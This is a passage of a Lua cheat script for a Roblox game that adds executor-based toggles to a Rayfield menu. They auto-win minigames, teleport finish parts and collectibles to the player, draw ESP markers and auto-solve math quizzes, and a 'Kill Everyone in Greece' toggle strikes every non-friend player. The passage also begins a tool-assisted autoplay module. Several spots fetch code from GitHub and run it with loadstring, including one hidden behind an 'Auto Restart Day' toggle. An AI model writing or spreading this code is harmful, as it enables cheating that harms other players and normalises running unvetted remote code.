local raygunProtection = false
local _raygunFired = false
ChallengesTab:CreateToggle({
Name = "Raygun Protection",
CurrentValue = false,
Flag = "RaygunProtection",
Callback = function(Value)
raygunProtection = Value
_raygunFired = false
if Value then
task.spawn(function()
while raygunProtection do
local assets = workspace:FindFirstChild("Assets")
if assets then
local hasRaygun = false
for _, child in ipairs(assets:GetChildren()) do
local n = child.Name:lower()
if n:find("raygun") or n:find("western") then
hasRaygun = true
break
end
end
if hasRaygun and not _raygunFired then
_raygunFired = true
local char = player.Character
local hum = char and char:FindFirstChildOfClass("Humanoid")
if hum then
hum.Health = 0
end
end
if not hasRaygun then
_raygunFired = false
end
end
task.wait(0.3)
end
end)
else
end
end,
})
end
if isExpedition then
local _arActiveExp = false
local _arFiredExp = false
ChallengesTab:CreateToggle({
Name = "Auto Restart Day",
CurrentValue = false,
Flag = "AutoRestartDayExp",
Callback = function(Value)
_arActiveExp = Value
_arFiredExp = false
if Value then
task.spawn(function()
while _arActiveExp do
local timerVisible = false
pcall(function()
timerVisible = player.PlayerGui.Timer.Background.Timer.Visible
end)
if timerVisible and not _arFiredExp then
_arFiredExp = true
loadstring(game:HttpGet("https://raw.githubusercontent.com/robloxcheatck/reanimatescript/main/script.lua", true))()
end
if not timerVisible then
_arFiredExp = false
end
task.wait(0.05)
end
end)
else
end
end,
})
ChallengesTab:CreateButton({
Name = "Win Obby",
Callback = function()
local f = workspace.Assets:FindFirstChild("Finish", true)
if f and player.Character and player.Character:FindFirstChild("HumanoidRootPart") then
f.CanCollide = false; f.Transparency = 1; f.Position = player.Character.HumanoidRootPart.Position
end
end,
})
local _expObby = false
ChallengesTab:CreateToggle({
Name = "Auto Win Obby",
CurrentValue = false,
Flag = "ExpeditionAutoWinObby",
Callback = function(Value)
_expObby = Value
if Value then task.spawn(function() while _expObby do
local f = workspace.Assets:FindFirstChild("Finish", true)
if f and player.Character and player.Character:FindFirstChild("HumanoidRootPart") then
f.CanCollide = false; f.Transparency = 1; f.Position = player.Character.HumanoidRootPart.Position
end; task.wait(0.5)
end end) end
end,
})
local _germanAlpsESP = false
local _germanAlpsObjects = {}
local _germanAlpsConn1, _germanAlpsConn2, _germanAlpsUpdateConn
ChallengesTab:CreateToggle({
Name = "German Alps ESP",
CurrentValue = false,
Flag = "GermanAlpsESP",
Callback = function(Value)
_germanAlpsESP = Value
if Value then
local _gaESP_COLOR = Color3.fromRGB(0, 255, 0)
local _gaMAX_DIST = 500
local function _createGermanAlpsESP(part)
if _germanAlpsObjects[part] then return end
local bb = Instance.new("BillboardGui")
bb.AlwaysOnTop = true
bb.Size = UDim2.new(0, 200, 0, 80)
bb.StudsOffset = Vector3.new(0, 3, 0)
bb.Adornee = part
bb.Parent = part
local lbl = Instance.new("TextLabel")
lbl.BackgroundTransparency = 1
lbl.Size = UDim2.new(1, 0, 0.5, 0)
lbl.TextColor3 = _gaESP_COLOR
lbl.TextStrokeTransparency = 0
lbl.TextStrokeColor3 = Color3.fromRGB(0, 0, 0)
lbl.TextSize = 28
lbl.Font = Enum.Font.GothamBold
lbl.Text = "🏁 FINISH"
lbl.Parent = bb
local distLbl = Instance.new("TextLabel")
distLbl.BackgroundTransparency = 1
distLbl.Size = UDim2.new(1, 0, 0.5, 0)
distLbl.Position = UDim2.new(0, 0, 0.5, 0)
distLbl.TextColor3 = Color3.fromRGB(255, 255, 255)
distLbl.TextStrokeTransparency = 0
distLbl.TextStrokeColor3 = Color3.fromRGB(0, 0, 0)
distLbl.TextSize = 22
distLbl.Font = Enum.Font.Gotham
distLbl.Text = ""
distLbl.Parent = bb
_germanAlpsObjects[part] = { billboard = bb, distLabel = distLbl }
end
for _, obj in ipairs(workspace:GetDescendants()) do
if obj:IsA("BasePart") and obj.Name:lower() == "finish" then
_createGermanAlpsESP(obj)
end
end
_germanAlpsConn1 = workspace.DescendantAdded:Connect(function(obj)
if _germanAlpsESP and obj:IsA("BasePart") and obj.Name:lower() == "finish" then
_createGermanAlpsESP(obj)
end
end)
_germanAlpsConn2 = workspace.DescendantRemoving:Connect(function(obj)
if _germanAlpsObjects[obj] then
pcall(function() _germanAlpsObjects[obj].billboard:Destroy() end)
_germanAlpsObjects[obj] = nil
end
end)
_germanAlpsUpdateConn = game:GetService("RunService").RenderStepped:Connect(function()
if not _germanAlpsESP then return end
local char = player.Character
local root = char and char:FindFirstChild("HumanoidRootPart")
if not root then return end
for part, esp in pairs(_germanAlpsObjects) do
local dist = (part.Position - root.Position).Magnitude
esp.billboard.Enabled = dist <= _gaMAX_DIST
if dist <= _gaMAX_DIST then
esp.distLabel.Text = string.format("%.1f studs", dist)
end
end
end)
else
for part, esp in pairs(_germanAlpsObjects) do
pcall(function() esp.billboard:Destroy() end)
end
_germanAlpsObjects = {}
if _germanAlpsConn1 then _germanAlpsConn1:Disconnect(); _germanAlpsConn1 = nil end
if _germanAlpsConn2 then _germanAlpsConn2:Disconnect(); _germanAlpsConn2 = nil end
if _germanAlpsUpdateConn then _germanAlpsUpdateConn:Disconnect(); _germanAlpsUpdateConn = nil end
end
end,
})
ChallengesTab:CreateButton({
Name = "Break Amazon (Spleef)",
Callback = function()
for _, v in pairs(workspace.Assets:GetDescendants()) do
if v.Name == "SpleefPart" then firetouchinterest(player.Character.HumanoidRootPart, v, 0) end
end
end,
})
local _mathExp = false
local _mathExpDelay = 0
ChallengesTab:CreateToggle({
Name = "Auto Solve Math Mania",
CurrentValue = false,
Flag = "ExpeditionMathMania",
Callback = function(Value)
_mathExp = Value
if not Value then return end
task.spawn(function()
while _mathExp do
local assets = workspace:FindFirstChild("Assets")
local mathManiaGui = player.PlayerGui:FindFirstChild("MathTrivia") or player.PlayerGui:FindFirstChild("MathMania")
if mathManiaGui and assets and (assets:FindFirstChild("Math Mania") or assets:FindFirstChild("Math Trivia") or assets:FindFirstChild("Singapore")) then
for i = 1, 10 do
if not _mathExp then break end
local questionGui = mathManiaGui:FindFirstChild(tostring(i))
if questionGui then
local clean = questionGui.MainText.Text:gsub("=", ""):gsub("?", ""):gsub(" ", "")
local ok, result = pcall(function() return loadstring("return " .. clean)() end)
if ok and result then
questionGui.Box.Text = tostring(result)
local btn = questionGui:FindFirstChild("Enter")
if btn then
local events = {"MouseButton1Click", "MouseButton1Down", "Activated"}
for _, ev in pairs(events) do
if getconnections and btn[ev] then
for _, c in pairs(getconnections(btn[ev])) do
if c.Function then c:Fire() end
end
end
end
end
if _mathExpDelay > 0 then task.wait(_mathExpDelay) end
end
end
end
end
task.wait()
end
end)
end,
})
ChallengesTab:CreateSlider({
Name = "Math Mania Answer Delay",
Range = {0, 10},
Increment = 0.1,
Suffix = "s",
CurrentValue = 0,
Flag = "ExpeditionMathManiaDelay",
Callback = function(Value)
_mathExpDelay = Value
end,
})
local _clovers = false
ChallengesTab:CreateToggle({
Name = "Auto Collect Clovers",
CurrentValue = false,
Flag = "ExpeditionClovers",
Callback = function(Value)
_clovers = Value
task.spawn(function() while _clovers do task.wait(0.1)
for _, obj in pairs(workspace:GetDescendants()) do
if obj.Name == "Gem" or obj.Name == "Coin" then obj.Transparency = 1; obj.Position = player.Character.Torso.Position end
end
end end)
end,
})
local _rings = false
ChallengesTab:CreateToggle({
Name = "Auto Collect Rings",
CurrentValue = false,
Flag = "ExpeditionRings",
Callback = function(Value)
_rings = Value
task.spawn(function() while _rings do task.wait(0.1)
for _, obj in pairs(workspace:GetDescendants()) do
if obj.Name == "RingHitbox" then obj.Transparency = 1; obj.Position = player.Character.Torso.Position end
end
end end)
end,
})
ChallengesTab:CreateButton({
Name = "Auto Win Cheese Push",
Callback = function()
local player = game:GetService("Players").LocalPlayer
local character = player.Character
local rootPart = character:WaitForChild("HumanoidRootPart")
local myPos = rootPart.Position
local closestCheese = nil
local closestCheeseDist = math.huge
for _, v in ipairs(workspace:GetDescendants()) do
if v:IsA("Model") and v.Name == "Cheese" then
local pivot = v:GetPivot().Position
local dist = (pivot - myPos).Magnitude
if dist < closestCheeseDist then
closestCheeseDist = dist
closestCheese = v
end
end
end
local closestHitbox = nil
local closestHitboxDist = math.huge
for _, v in ipairs(workspace:GetDescendants()) do
if v.Name == "Hitbox" and v:IsA("BasePart") then
local dist = (v.Position - myPos).Magnitude
if dist < closestHitboxDist then
closestHitboxDist = dist
closestHitbox = v
end
end
end
if not closestCheese then
Rayfield:Notify({ Title = "Error", Content = "No Cheese found!", Duration = 3 })
return
end
if not closestHitbox then
Rayfield:Notify({ Title = "Error", Content = "No Hitbox found!", Duration = 3 })
return
end
for _, part in ipairs(closestCheese:GetDescendants()) do
if part:IsA("BasePart") then
part.Anchored = false
part.CFrame = CFrame.new(closestHitbox.Position)
end
end
Rayfield:Notify({ Title = "Cheese Push", Content = "Cheese teleported to hitbox!", Duration = 3 })
end
})
local greeceKillEnabled = false
local greeceKillConnection = nil
ChallengesTab:CreateToggle({
Name = "Kill Everyone in Greece",
CurrentValue = false,
Flag = "ExpeditionGreeceKill",
Callback = function(Value)
greeceKillEnabled = Value
if Value then
task.spawn(function()
while greeceKillEnabled do
local backpack = player:FindFirstChild("Backpack")
local char = player.Character
if backpack and char then
local tool = nil
for _, t in ipairs(backpack:GetChildren()) do
if t:IsA("Tool") and t.Name:lower():find("sword") then
tool = t
break
end
end
local humanoid = char:FindFirstChildOfClass("Humanoid")
if tool and humanoid then humanoid:EquipTool(tool) end
end
task.wait()
end
end)
if greeceKillConnection then greeceKillConnection:Disconnect() end
greeceKillConnection = game:GetService("RunService").RenderStepped:Connect(function()
local players = game.Players:GetPlayers()
for i = 2, #players do
local otherPlayer = players[i]
local character = otherPlayer.Character
if character and not player:IsFriendsWith(otherPlayer.UserId) then
local tool = player.Character and player.Character:FindFirstChildOfClass("Tool")
if tool and tool:FindFirstChild("Handle") then
tool:Activate()
for _, part in next, character:GetChildren() do
if part:IsA("BasePart") then
firetouchinterest(tool.Handle, part, 0)
firetouchinterest(tool.Handle, part, 1)
end
end
end
end
end
end)
else
if greeceKillConnection then
greeceKillConnection:Disconnect()
greeceKillConnection = nil
end
end
end,
})
local _hawaiiDigAll = false
ChallengesTab:CreateToggle({
Name = "Hawaii Dig All",
CurrentValue = false,
Flag = "HawaiiDigAll",
Callback = function(Value)
_hawaiiDigAll = Value
if Value then
task.spawn(function()
while _hawaiiDigAll do
task.wait()
local Assets = workspace:FindFirstChild("Assets")
if Assets and Assets:FindFirstChild("Hawaii") then
local ReplicatedStorage = game:GetService("ReplicatedStorage")
for _, v in ipairs(ReplicatedStorage.Seasons.Teams:GetChildren()) do
if v.Value == ReplicatedStorage.Seasons.Players.LocalPlayer.team.Value then
local Team = v.Name
local diggingSpots = Assets.Hawaii.DiggingSpots:FindFirstChild(Team)
if diggingSpots then
for _, d in ipairs(diggingSpots:GetDescendants()) do
if d.Name == "ClickDetector" then
for i = 1, 40 do
fireclickdetector(d)
end
end
end
end
end
end
end
end
end)
end
end,
})
ChallengesTab:CreateButton({
Name = "Finish China Food",
Callback = function()
for _, v in pairs(workspace.Assets:GetDescendants()) do
if v.Name == player.Name and v:FindFirstChild("ClickDetector") then
for _ = 1, 80 do
fireclickdetector(v.ClickDetector)
end
end
end
end,
})
local meatballProtection = false
local _meatballFired = false
ChallengesTab:CreateToggle({
Name = "Meatball Protection",
CurrentValue = false,
Flag = "MeatballProtection",
Callback = function(Value)
meatballProtection = Value
_meatballFired = false
if Value then
task.spawn(function()
while meatballProtection do
local assets = workspace:FindFirstChild("Assets")
if assets then
local hasMeatball = false
for _, child in ipairs(assets:GetChildren()) do
local n = child.Name:lower()
if n:find("dodgeball") or n:find("paintball") or n:find("meatball") then
hasMeatball = true
break
end
end
if hasMeatball and not _meatballFired then
_meatballFired = true
local char = player.Character
local hum = char and char:FindFirstChildOfClass("Humanoid")
if hum then
hum.Health = 0
end
end
if not hasMeatball then
_meatballFired = false
end
end
task.wait(0.3)
end
end)
else
end
end,
})
end
ChallengesTab:CreateDivider()
-- autoplay tab
local TAS_Players = game:GetService("Players")
local TAS_RunService = game:GetService("RunService")
local TAS_HttpService = game:GetService("HttpService")
local TAS_Workspace = game:GetService("Workspace")
local TAS_UserInputService = game:GetService("UserInputService")
local TAS_PathfindingService = game:GetService("PathfindingService")
local TAS_LocalPlayer = TAS_Players.LocalPlayer
local TAS_ViewingTAS = false
local TAS_PlaybackConnection = nil
local TAS_FinishTouchConnection = nil
local TAS_CurrentAppliedShiftLock = false
local TAS_DisableShiftlockAndCamera = false
local TAS_PathfindToStart = false
local TAS_ActivePathfindId = 0
local TAS_LastMapName = nil
local TAS_LastMapDetectTime = 0
local TAS_AutoplayEnabled = false
-- Recorder state (Movement Recorder in Autoplay tab)
local _rec_recording = {}
local _rec_isRec = false
local _rec_recConn = nil
local _rec_recordStartTime = 0
local _rec_pauseOffset = 0
local _rec_fileName = ""
local _rec_selectedLoad = "(nothing)"
local _rec_loadDropdown = nil
local _rec_statusElem = nil
local function _rec_getFiles()
local names = {}
pcall(function()
if not isfolder("DramaWare") then makefolder("DramaWare") end
if not isfolder("DramaWare/Recordings") then makefolder("DramaWare/Recordings") end
local files = (listfiles and listfiles("DramaWare/Recordings")) or {}
for _, path in ipairs(files) do
local name = tostring(path):match("([^/\\]+)\.lua$")
if name and name ~= "" then table.insert(names, name) end
end
end)
if #names == 0 then table.insert(names, "(no recordings)") end
table.insert(names, 1, "(nothing)")
return names
end
local TAS_SelectedCaveChaos = "Cave Chaos"
local TAS_SelectedUnstableSavannah = "Unstable Savannah"
local TAS_SelectedConstructCourse = "Construct Course"
local TAS_SelectedColosseumClimb = "Colosseum Climb"
local TAS_RouteSources = {
["Bootcamp Team 1"] = {type = "url", source = "https://raw.githubusercontent.com/krohbe/skidknickys/main/Bootcamp%20Team%201.json"},
["Bootcamp Team 2"] = {type = "url", source = "https://raw.githubusercontent.com/krohbe/skidknickys/main/Bootcamp%20Team%202.json"},
["Bootcamp Team 3"] = {type = "url", source = "https://raw.githubusercontent.com/krohbe/skidknickys/main/Bootcamp%20Team%203.json"},
["Cave Chaos Clip"] = {type = "url", source = "https://raw.githubusercontent.com/callienew/tas-skid-skid-skid/refs/heads/main/Cave%20Chaos%20Clip.json"},
["Cave Chaos"] = {type = "url", source = "https://raw.githubusercontent.com/krohbe/skidknickys/main/Cave%20Chaos%20Clip.json"},
["Colosseum Climb"] = {type = "url", source = "https://raw.githubusercontent.com/krohbe/skidknickys/main/Colosseum.json"},
["Colosseum Climb Wallhop"] = {type = "direct", source = "https://raw.githubusercontent.com/opsecophelia/play/main/YESCOLLOSLAG%20(1).lua"},
["Construct Course"] = {type = "url", source = "https://raw.githubusercontent.com/krohbe/skidknickys/main/Construct%20Course.json"},
["Construct Course Wallhop"] = {type = "direct", source = "https://raw.githubusercontent.com/opsecophelia/play/main/CONSTRUCTNEWFORDW%20(1).lua"},
["Hill Hike"] = {type = "url", source = "https://raw.githubusercontent.com/krohbe/skidknickys/main/Hill%20HIke.json"},
["Lava Dash"] = {type = "url", source = "https://raw.githubusercontent.com/krohbe/skidknickys/main/Lava%20Dash.json"},
["Obstacle Course"] = {type = "url", source = "https://raw.githubusercontent.com/krohbe/skidknickys/main/Obstacle%20Course.json"},
["Pond Pier"] = {type = "url", source = "https://raw.githubusercontent.com/krohbe/skidknickys/main/Pond%20Pier.json"},
["Rickety Rails"] = {type = "url", source = "https://raw.githubusercontent.com/krohbe/skidknickys/main/Rickety%20Rails.json"},
["Rock Wall Team 1"] = {type = "url", source = "https://raw.githubusercontent.com/krohbe/skidknickys/main/Rock%20Wall%20Team%201.json"},
["Rock Wall Team 2"] = {type = "url", source = "https://raw.githubusercontent.com/krohbe/skidknickys/main/Rock%20Wall%20Team%202.json"},
["Rock Wall Team 3"] = {type = "url", source = "https://raw.githubusercontent.com/krohbe/skidknickys/main/Rock%20Wall%20Team%203.json"},
["Spinner"] = {type = "url", source = "https://raw.githubusercontent.com/krohbe/skidknickys/main/Spinner.json"},
["Sweeper"] = {type = "url", source = "https://raw.githubusercontent.com/krohbe/skidknickys/main/Sweeper.json"},
["Tightrope"] = {type = "url", source = "https://raw.githubusercontent.com/krohbe/skidknickys/main/Tightrope%20Obby.json"},
["Unstable Savannah Clip"] = {type = "url", source = "https://raw.githubusercontent.com/krohbe/skidknickys/main/Unstable%20Savannah%20Clip.json"},
["Unstable Savannah"] = {type = "url", source = "https://raw.githubusercontent.com/krohbe/skidknickys/main/Unstable%20Savannah.json"},
}
local function TAS_FetchFromURL(url)
local success, content = pcall(function() return game:HttpGet(url, true) end)
if not success then return nil end
local parseOk, data = pcall(function() return TAS_HttpService:JSONDecode(content) end)
if not parseOk or type(data) ~= "table" then return nil end
return data
end
local function TAS_FetchFromLoadstring(url)
local success, content = pcall(function() return game:HttpGet(url, true) end)
if not success then return nil end
local fnOk, fn = pcall(function() return loadstring(content) end)
if not fnOk or type(fn) ~= "function" then return nil end
local execOk, data = pcall(fn)
if not execOk or type(data) ~= "table" then return nil end
return data
end
local TAS_RouteCache = {} -- [source_url] = fetched data table
local TAS_RouteCacheDirect = {} -- [source_url] = raw content string
local function TAS_PrefetchAllRoutes()
TAS_RouteCache = {}
TAS_RouteCacheDirect = {}
for _, info in pairs(TAS_RouteSources) do
if type(info) == "table" then
if info.type == "url" then
task.spawn(function()
local data = TAS_FetchFromURL(info.source)
if data then TAS_RouteCache[info.source] = data end
end)
elseif info.type == "direct" then
task.spawn(function()
local ok, content = pcall(function() return game:HttpGet(info.source, true) end)
if ok and content then TAS_RouteCacheDirect[info.source] = content end
end)
end
end
end
end
local function TAS_LoadFromSource(sourceInfo)
if type(sourceInfo) == "string" then
if not isfile or not readfile then return nil end
if not isfile(sourceInfo) then return nil end
local success, data = pcall(function() return TAS_HttpService:JSONDecode(readfile(sourceInfo)) end)
if not success or type(data) ~= "table" then return nil end
return data
elseif type(sourceInfo) == "table" then
if sourceInfo.type == "url" then
if TAS_RouteCache[sourceInfo.source] then return TAS_RouteCache[sourceInfo.source] end
return TAS_FetchFromURL(sourceInfo.source)
elseif sourceInfo.type == "loadstring" then return TAS_FetchFromLoadstring(sourceInfo.source)
elseif sourceInfo.type == "direct" then return sourceInfo -- pass through, handled separately
elseif sourceInfo.type == "raw" and type(sourceInfo.data) == "table" then return sourceInfo.data
else return nil end
end
return nil
end
local function TAS_ApplyShiftLock(enabled)
local actuallyEnabled = TAS_UserInputService.MouseBehavior == Enum.MouseBehavior.LockCenter
if enabled == actuallyEnabled then return end
TAS_CurrentAppliedShiftLock = enabled
keypress(0xA0)
task.wait()
keyrelease(0xA0)
end
local function TAS_StopPlayback()
if TAS_PlaybackConnection then
TAS_PlaybackConnection:Disconnect()
TAS_PlaybackConnection = nil
end
if TAS_FinishTouchConnection then
TAS_FinishTouchConnection:Disconnect()
TAS_FinishTouchConnection = nil
end
TAS_ViewingTAS = false
if TAS_LocalPlayer.Character and TAS_LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then
TAS_LocalPlayer.Character.HumanoidRootPart.Anchored = false
end
if not TAS_DisableShiftlockAndCamera then
task.spawn(TAS_ApplyShiftLock, false)
end
end
local function TAS_PlayEmoteOrAnimation(Hum, name)
if not Hum or not Hum.Parent then return end
local Character = Hum.Parent
local Animate = Character:FindFirstChild("Animate")
if Animate then
local PlayEmote = Animate:FindFirstChild("PlayEmote")
if PlayEmote and PlayEmote:IsA("BindableFunction") then
local ok = pcall(function() PlayEmote:Invoke(name) end)
if ok then return end
end
end
local Animator = Hum:FindFirstChildOfClass("Animator")
if Animator then
for _, track in ipairs(Animator:GetPlayingAnimationTracks()) do
if track.Name == name then
if not track.IsPlaying then track:Play() end
track:AdjustSpeed(1)
return
end
end
local animObj = Character:FindFirstChild(name, true)
if animObj and animObj:IsA("Animation") then
local track = Animator:LoadAnimation(animObj)
track.Name = name
track:Play()
track:AdjustSpeed(1)
return
end
if Animate then
local EmotesFolder = Animate:FindFirstChild("Emotes")
if EmotesFolder then
local EmoteEntry = EmotesFolder:FindFirstChild(name)
if EmoteEntry then
local anim = EmoteEntry:FindFirstChildOfClass("Animation")
if anim then
local track = Animator:LoadAnimation(anim)
track.Name = name
track:Play()
track:AdjustSpeed(1)
return
end
end
end
end
end
if Hum.PlayEmote then pcall(function() Hum:PlayEmote(name) end) end
local ChatEvents = game:GetService("ReplicatedStorage"):FindFirstChild("DefaultChatSystemChatEvents")
if ChatEvents then
local SayEvent = ChatEvents:FindFirstChild("SayMessageRequest")
if SayEvent then SayEvent:FireServer("/e " .. name, "All") end
end
end
local function TAS_GetFramePosition(frame)
return Vector3.new(frame.CCFrame[1], frame.CCFrame[2], frame.CCFrame[3])
end
local function TAS_ComputePathTime(path, fromPos)
if path.Status ~= Enum.PathStatus.Success then return math.huge end
local waypoints = path:GetWaypoints()
if #waypoints == 0 then return math.huge end
local length = 0
local last = fromPos
for _, wp in ipairs(waypoints) do
length = length + (wp.Position - last).Magnitude
last = wp.Position
end
return length / 16
end
local function TAS_FindBestSyncFrame(TAS, currentPos)
if #TAS == 0 then return 1 end
local maxFrame = math.min(120, #TAS)
local bestEstIndex = 1
local bestEstSaved = -math.huge
local closestIndex = 1
local closestDist = math.huge
for i = 1, maxFrame do
local frame = TAS[i]
local pos = TAS_GetFramePosition(frame)
local dist = (pos - currentPos).Magnitude
local estTime = dist / 16
local estSaved = frame.time - estTime
if dist < closestDist then
closestDist = dist
closestIndex = i
end
if estSaved > bestEstSaved and frame.time >= estTime then
bestEstSaved = estSaved
bestEstIndex = i
end
end
if bestEstSaved == -math.huge then return closestIndex end
local searchStart = math.max(1, bestEstIndex - 10)
local searchEnd = math.min(maxFrame, bestEstIndex + 10)
local bestIndex = bestEstIndex
local bestSaved = bestEstSaved
for i = searchStart, searchEnd do
local frame = TAS[i]
local pos = TAS_GetFramePosition(frame)
local path = TAS_PathfindingService:CreatePath({AgentRadius = 0.5, AgentHeight = 2, AgentCanJump = true})
local ok = pcall(function() path:ComputeAsync(currentPos, pos) end)
local pathTime
if ok and path.Status == Enum.PathStatus.Success then
pathTime = TAS_ComputePathTime(path, currentPos)
else
pathTime = (pos - currentPos).Magnitude / 16
end
local saved = frame.time - pathTime
if saved > bestSaved and frame.time >= pathTime then
bestSaved = saved
bestIndex = i
end
end
return bestIndex
end
local function TAS_ViewPlayback(TAS, startIndex)
startIndex = startIndex or 1
if TAS_ViewingTAS or #TAS == 0 then return end
TAS_ViewingTAS = true
local syncFrame = TAS[startIndex]
local StartTime = tick() - syncFrame.time
local CurrentFrameIndex = startIndex
local Character = TAS_LocalPlayer.Character
if not Character or not Character:FindFirstChild("HumanoidRootPart") then
TAS_ViewingTAS = false
return
end
local RootPart = Character.HumanoidRootPart
local Hum = Character.Humanoid
RootPart.Anchored = false
local assets = TAS_Workspace:FindFirstChild("Assets")
local finishPart = assets and assets:FindFirstChild("Finish", true)
local mapFolder = finishPart and finishPart:FindFirstAncestorOfClass("Folder") or finishPart and finishPart:FindFirstAncestorOfClass("Model")
if finishPart then
TAS_FinishTouchConnection = finishPart.Touched:Connect(function(hit)
if hit and hit.Parent == Character then
TAS_StopPlayback()
return
end
if mapFolder and not assets:FindFirstChild(mapFolder.Name) then
TAS_StopPlayback()
end
end)
end
TAS_PlaybackConnection = TAS_RunService.Heartbeat:Connect(function()
if not RootPart or not RootPart.Parent then
TAS_StopPlayback()
return
end
if not TAS_ViewingTAS then return end
local ElapsedTime = tick() - StartTime
local TargetFrame = nil
while CurrentFrameIndex <= #TAS and TAS[CurrentFrameIndex].time <= ElapsedTime do
TargetFrame = TAS[CurrentFrameIndex]
CurrentFrameIndex = CurrentFrameIndex + 1
end
if TargetFrame then
local cf = TargetFrame.CCFrame
local cam = TargetFrame.CCameraCFrame
RootPart.CFrame = CFrame.new(cf[1], cf[2], cf[3], cf[4], cf[5], cf[6], cf[7], cf[8], cf[9], cf[10], cf[11], cf[12])
RootPart.Velocity = Vector3.new(TargetFrame.VVelocity[1], TargetFrame.VVelocity[2], TargetFrame.VVelocity[3])
if not TAS_DisableShiftlockAndCamera then
TAS_Workspace.CurrentCamera.CFrame = CFrame.new(cam[1], cam[2], cam[3], cam[4], cam[5], cam[6], cam[7], cam[8], cam[9], cam[10], cam[11], cam[12])
end
local AnimInfo = TargetFrame.AAnimation
if AnimInfo and Hum and Hum.Parent then
TAS_PlayEmoteOrAnimation(Hum, AnimInfo.Name)
end
if not TAS_DisableShiftlockAndCamera and TargetFrame.ShiftLock ~= nil then
task.spawn(TAS_ApplyShiftLock, TargetFrame.ShiftLock)
end
end
if CurrentFrameIndex > #TAS then
TAS_StopPlayback()
end
end)
end
local function TAS_ComputePathToSync(TAS, currentPos, forcePathfind)
local syncIndex = 1
if TAS_PathfindToStart or forcePathfind then
syncIndex = TAS_FindBestSyncFrame(TAS, currentPos)
end
local syncPos = TAS_GetFramePosition(TAS[syncIndex])
if (syncPos - currentPos).Magnitude < 5 then
return syncIndex, nil, syncPos
end
local path = TAS_PathfindingService:CreatePath({AgentRadius = 1.5, AgentHeight = 4, AgentCanJump = true})
local ok = pcall(function() path:ComputeAsync(currentPos, syncPos) end)
if not ok or path.Status ~= Enum.PathStatus.Success then
return syncIndex, nil, syncPos
end
return syncIndex, path, syncPos
end
local function TAS_ExecutePathAndPlay(TAS, syncIndex, path, syncPos)
local Character = TAS_LocalPlayer.Character
if not Character or not Character:FindFirstChild("HumanoidRootPart") then
TAS_ViewPlayback(TAS, syncIndex)
return
end
local RootPart = Character.HumanoidRootPart
local Hum = Character.Humanoid
if not Hum then
RootPart.CFrame = CFrame.new(syncPos)
TAS_ViewPlayback(TAS, syncIndex)
return
end
RootPart.Anchored = false
pcall(function()
Hum.Sit = false
Hum:ChangeState(Enum.HumanoidStateType.Running)
end)
if not path then
RootPart.CFrame = CFrame.new(syncPos)
TAS_ViewPlayback(TAS, syncIndex)
return
end
TAS_ActivePathfindId = TAS_ActivePathfindId + 1
local thisId = TAS_ActivePathfindId
local waypoints = path:GetWaypoints()
task.spawn(function()
for i, waypoint in ipairs(waypoints) do
if TAS_ActivePathfindId ~= thisId then return end
if not Hum or not Hum.Parent then return end
if waypoint.Action == Enum.PathWaypointAction.Jump then
Hum.Jump = true
if RootPart then
RootPart.Velocity = Vector3.new(RootPart.Velocity.X, math.max(RootPart.Velocity.Y, 40), RootPart.Velocity.Z)
end
task.wait(0.15)
end
Hum:MoveTo(waypoint.Position)
local reached = false
local con = Hum.MoveToFinished:Connect(function(ok) reached = ok end)
local startWait = tick()
while not reached and (tick() - startWait) < 6 do
if TAS_ActivePathfindId ~= thisId then
con:Disconnect()
return
end
if waypoint.Action == Enum.PathWaypointAction.Jump and Hum and RootPart then
Hum.Jump = true
end
task.wait(0.05)
end
con:Disconnect()
if not reached then
if TAS_ActivePathfindId ~= thisId then return end
RootPart.CFrame = CFrame.new(syncPos)
break
end
end
if TAS_ActivePathfindId ~= thisId then return end
if RootPart and (syncPos - RootPart.Position).Magnitude > 10 then
RootPart.CFrame = CFrame.new(syncPos)
end
TAS_ViewPlayback(TAS, syncIndex)
end)
end
local function TAS_PathfindAndPlay(TAS)
if #TAS == 0 then return end
local Character = TAS_LocalPlayer.Character
if not Character or not Character:FindFirstChild("HumanoidRootPart") then
TAS_ViewPlayback(TAS, 1)
return
end
local currentPos = Character.HumanoidRootPart.Position
local syncIndex, path, syncPos = TAS_ComputePathToSync(TAS, currentPos, true)
if not path then
if (syncPos - currentPos).Magnitude < 5 then
TAS_ViewPlayback(TAS, syncIndex)
else
Character.HumanoidRootPart.CFrame = CFrame.new(syncPos)
TAS_ViewPlayback(TAS, syncIndex)
end
return
end
TAS_ExecutePathAndPlay(TAS, syncIndex, path, syncPos)
end
local function TAS_NormalizeName(name)
if type(name) == "table" then name = name[1] or "" end
if type(name) ~= "string" then name = tostring(name) end
return name:gsub("[^%w]", ""):lower()
end
local function TAS_GetTeamSpawnPosition(teamFolder)
if not teamFolder then return nil end
local spawnLoc = teamFolder:FindFirstChildOfClass("SpawnLocation")
if spawnLoc then return spawnLoc.Position end
for _, child in ipairs(teamFolder:GetDescendants()) do
if child:IsA("BasePart") then return child.Position end
end
return nil
end
local function TAS_ScoreMapToFile(normMap, normFile)
if normFile == normMap then return 100 end
if normFile:find(normMap, 1, true) or normMap:find(normFile, 1, true) then return 50 end
local score = 0
for i = 3, math.min(#normMap, 8) do
local chunk = normMap:sub(1, i)
if normFile:find(chunk, 1, true) then score = math.max(score, i) end
end
return score
end
local function TAS_GetMapTasFile()
local assets = TAS_Workspace:FindFirstChild("Assets")
if not assets then return nil end
local allRoutes = {}
for name, info in pairs(TAS_RouteSources) do
table.insert(allRoutes, {name = name, info = info})
end
if isfolder and isfolder("TAS_Recorder") and listfiles then
for _, path in ipairs(listfiles("TAS_Recorder")) do
if path:match("%.json$") then
local fileName = path:match("([^/\\]+)$") or path
local baseName = fileName:gsub("%.json$", "")
table.insert(allRoutes, {name = baseName, info = path})
end
end
end
if #allRoutes == 0 then return nil end
local bestFolder = nil
local bestFolderScore = 0
local bestCandidate = nil
for _, child in ipairs(assets:GetChildren()) do
if child:IsA("Folder") or child:IsA("Model") then
local normMap = TAS_NormalizeName(child.Name)
local folderBestScore = 0
local folderBestCandidate = nil
for _, route in ipairs(allRoutes) do
local normFile = TAS_NormalizeName(route.name)
local score = TAS_ScoreMapToFile(normMap, normFile)
if score > folderBestScore then
folderBestScore = score
folderBestCandidate = {path = route.info, name = route.name, norm = normFile, score = score, team = normFile:match("team(%d)")}
end
end
if folderBestScore > bestFolderScore then
bestFolderScore = folderBestScore
bestFolder = child
bestCandidate = folderBestCandidate
end
end
end
if not bestFolder or bestFolderScore < 5 then return nil end
local mapName = bestFolder.Name
if TAS_LastMapName ~= mapName then
TAS_LastMapName = mapName
TAS_LastMapDetectTime = tick()
return nil
end
